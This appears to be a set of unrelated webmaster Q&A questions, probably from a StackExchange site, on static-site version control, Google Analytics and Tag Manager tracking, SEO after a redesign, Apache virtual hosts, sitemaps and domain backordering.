text: I'm using NanoBlogger to generate a website that consists entirely of static files—no PHP or anything similar. I'd like to place the site under version control, which means managing both NanoBlogger's data files and the other non-generated files (stylesheets, images and whatnot) that make up the site with one revision-control system or another. I'd also like to automate deployment of the website from the RCS. What I've discovered is none of the modern revision-control systems (git, Subversion and Mercurial) preserve timestamps on files they manage. This means a deployment script on the server that checks out a fresh copy of the repository and copies the files over to the webserver's public folder will end up resetting the timestamp on every file, even things like images that haven't changed. This defeats any attempt to use caching effectively and ends up wasting users' time and bandwidth. So my question is, **what tools and workflow do people actually use for versioning and deploying static websites?** Specifically, how you get around the timestamping issue? Do you   * simply keep a "permanent" checkout of the repository on the server which just gets updated before each deployment (arguably a bad practice),   * use a "classic" RCS like CVS that does preserve timestamps, or   * ignore the problem and accept a bit of bandwidth will be wasted? Or is there some completely different kind of system or workflow people use instead? (There's no shortage of information on the mechanics of using revision control with a website, but I've yet to see anyone address the timestamp issue or say much about static websites specifically.)


title: Google Plus website not linking

text: I'm getting below error when trying to link Google Plus page with my site:               Check that the line of code was added to your site's homepage and that the modified homepage is live on your site. Then try testing again.      I have got correct link set up like below (obviously {pageId} is replaced) but I'm still getting this error. I have got this link across all pages in the sidebar.               Google+      I got this working on other sites but somehow this site is not linking. Is there a reason why? Other sites also have the Google Plus link on sidebar of every page


title: What is the best size to use to display full screen size of an application screenshot?

text: I want to maximize the size of the screenshot and avoid scroll bar or overflow for the maximum too. What size do you recommend ? I'm using lightbox.


title: How to back order domain

text: It seems that information on the topic is a bit sparse in the wild. How do you go about back ordering a domain? If you do find a service that will do it for you, does the current owner of the domain name know that it is back ordered? How does it work if I back order with one domain registrar and then host the site with another? Does it work something like a normal domain transfer?


title: Redesigning my website has destroyed my SEO

text: Unfortunately i read an article on how to avoid destroying your websites SEO from a redesign article AFTER its was too late! Here is the article On 20 November 12 completely redesigned our site. We get ALL our customers from our website as we do not have a shop. Since that dreaded day a month ago the phone pretty much stopped, basically no emails, Google rankings down and Google analytics have halved by 50%. Yesterday i did some research into as as i had no idea that a re-design of a website could have such a damaging effect - yes i am a novice and use a WYSIWYG type web builder. There are lots of info on how to AVOID this from happening BUT what do i do as i have already made the mistake? Yesterday i reloaded my OLD site with my new pages in the background hoping this would be a start. I really have no idea of how to get out of this mess.


title: How to configure apache to allow access to subdomain on my local ip address

text: I would like to have others inside my local network access resources on my computer at `outsideprojects.192.168.0.10`. I am running Apache and have a virtual host configured so I can access it at `outsideprojects.localhost` but can't seem to be able to access it from the outside. I have all firewalls disabled so I don't believe that this is the issue. I would expect that I should be able to access this at `outsideprojects.127.0.0.1` but I cannot do that either. What are the Apache configuration options to be able to accomplish this?


title: sitemap.xml : shall I put all my URLs including the ones that have "empty result" for a dataset?

text: Here's my problem: on my website, you can click on all the regions, and the new web page is the result of the search of the region. Thus the result may be empty. Shall I include all those "empty search result" pages in the `sitemap.xml` or not?


title: Goal Tracking data seems to be inaccurate?

text: I setup some Goal Tracking about one week ago. I had multiple goals in one set. The goal itself was the "send" button being pressed on the callback form (i did that by pushing a page view to Google Analytics every time the send button is pressed) For each goal, i listed the first step as a required step. So for example, the ILR Page was step 1 and set as required and the goal was `/CallbackFormFilled` Looking at the stats a week later i'm getting some very inflated numbers especially when comparing them to my manually filled excel spreadsheet and i'm struggling to understand the cause of this behaviour. I'm unable to attach screenshots unfortunately since my StackExchange account for this site is brand new **My own thoughts** My own thoughts were that maybe its because I have setup multiple goals with the same end goal URL, but I thought that was a valid setup since I want to track multiple routes so to speak. I've disabled all other goals for now to confirm this, but I'm waiting for stats to come in as I write this. I also wonder if the contact form I'm using in WordPress is causing a problem, but I've simply added one JavaScript line on the send button that pushes a page view so not sure if that should cause an issue. Here is a link to setting up analytics on this contact form plugin in WordPress for reference: JavaScript action hook section


title: Tracking universal analytics events through Google Tag Manager

text: I have an Universal Analytics property installed on my site through Google Tag Manager. Following this article on tracking classic _ga.js_ events through GTM I have given my tracker a global name `_gua`. Now I try to fire events using additional HTML tag as described in the article:               <script type="text/javascript">      $(function () {          $('.some-class').click(function () {              gua('send', 'event', 'button', 'click');         });      });     </script>      The script is working fine but each time I call the `_gua` to send the event I get the following message from the GA Debugger:               Command ignored. Unknown target: undefined       Is it even possible to use GTM and GUA this way? I don't want to use the data layer and GTM events...


title: Custom Advanced Segment (based on URL) in Google Analytics not working properly?

text: Hoping someone can help, I have what seems to be a very basic question regarding Google Analytics and Advanced Segments. I'm working on a University site, and attempting to add a custom segment only to view the "arts" sections of the website so I can get keyword info, referral infom etc specifically about those pages. The URL string is /academics/collegesandschools/arts/(any other subsequent pages). My filter looks like: Page-Contains-arts (unfortunately I can't post pictures quite yet). It seems to be filtering out some pages, but it is also returning pages like /academics and /admissions that don't even contain "arts" as part of the URL string. If I type "arts" in the filter bar on the Content section, then it will filter properly, but I can't carry that info over to traffic sources for example. Am I missing something here? Should I be using some sort of regex? Does it take time to filter everything out? Any help would be useful and appreciated. Thanks!


title: Youtube embed is blocked by corporate network, how to detect and offer an alternate self hosted version?

text: I have a youtube video embedded in a popup window, which works fine, but for some users within my network Youtube is blocked. What is the simplest method to offer them an alternate self hosted version on our server via a link.